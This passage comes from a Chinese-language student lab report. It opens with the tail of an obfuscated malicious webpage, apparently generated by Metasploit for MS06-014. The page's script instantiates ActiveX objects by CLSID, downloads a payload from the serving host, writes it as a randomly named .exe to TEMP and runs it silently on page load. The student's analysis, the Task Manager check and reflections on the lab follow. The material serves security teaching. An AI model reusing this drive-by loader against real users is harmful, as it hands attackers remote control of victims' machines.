o=TNnqPqFwATYGhAFN(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam"); var e=s.Environment("P"+"ro"+"ce"+"ss"); var url=document.location+'/p'+'ay'+'lo'+'ad'; var xml =null; var bin=e.Item("T"+"E"+"M"+"P")+"\\rzULNEAMzLdxJYBzMznRxycm"+".e"+"xe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml= new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if(!xml) { return(0); } xml.open("GET",url,false); xml.send(null); dat=xml.responseBody; o.Type=1; o.Mode=3; o.Open(); o.Write(dat); o.SaveToFile(bin,2); s.Run(bin,0); } function tVvSIcjfVnZffIabEspn() { var i=0; var t=new Array('{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+''+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+ 'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+''+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}' ,'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+ 'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null); while(t[i]) { Var a=null; if(t[i].substring(0,1)=='{') { a=document.createElement("object"); a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));} else{try{a=newActiveXObject(t[i]);} catch(e){}} if(a) { try { Var b=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll"); if(b) { MVPXzuoZeLqwiAgmYyyewEJvmOllm(a); return(0);} }catch(e){}}i++;}} </script></head> <body onload='tVvSIcjfVnZffIabEspn()'>YyswB </body></html>
- js通过调用document.location加载了
payload
,并且下一行中后面跟了一个可执行文件rzULNEAMzLdxJYBzMznRxycm.exe
。应该是以攻击机为服务器的可执行文件。通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是变化的。 - 通过打开靶机任务管理器查看正在运行的程序进行验证。发现了在网页源码中出现的可执行文件名,其作用就是帮助攻击机获取靶机控制权限。
BD96C556-65A3-11D0-983A-00C04FC29E36
是漏洞MS06-014中的clsid变量,搜索BD96C556
,容易知道攻击者使用的漏洞是MS06-014。。
四、学习中遇到的问题及解决
问题:由于kali版本高,使得msf6>命令区别msf5>命令,在实践一学习过程中因此导致无法建立session实现联通。
解决:在王琪同学的帮助下,修改指令,完成。
五、学习感想和体会
本次作业,因为客观的实验环境问题和自身知识能力的不足使十分艰难,其涉及面广、难度大,终难以完全独立完成,部分内容需要同学的指导。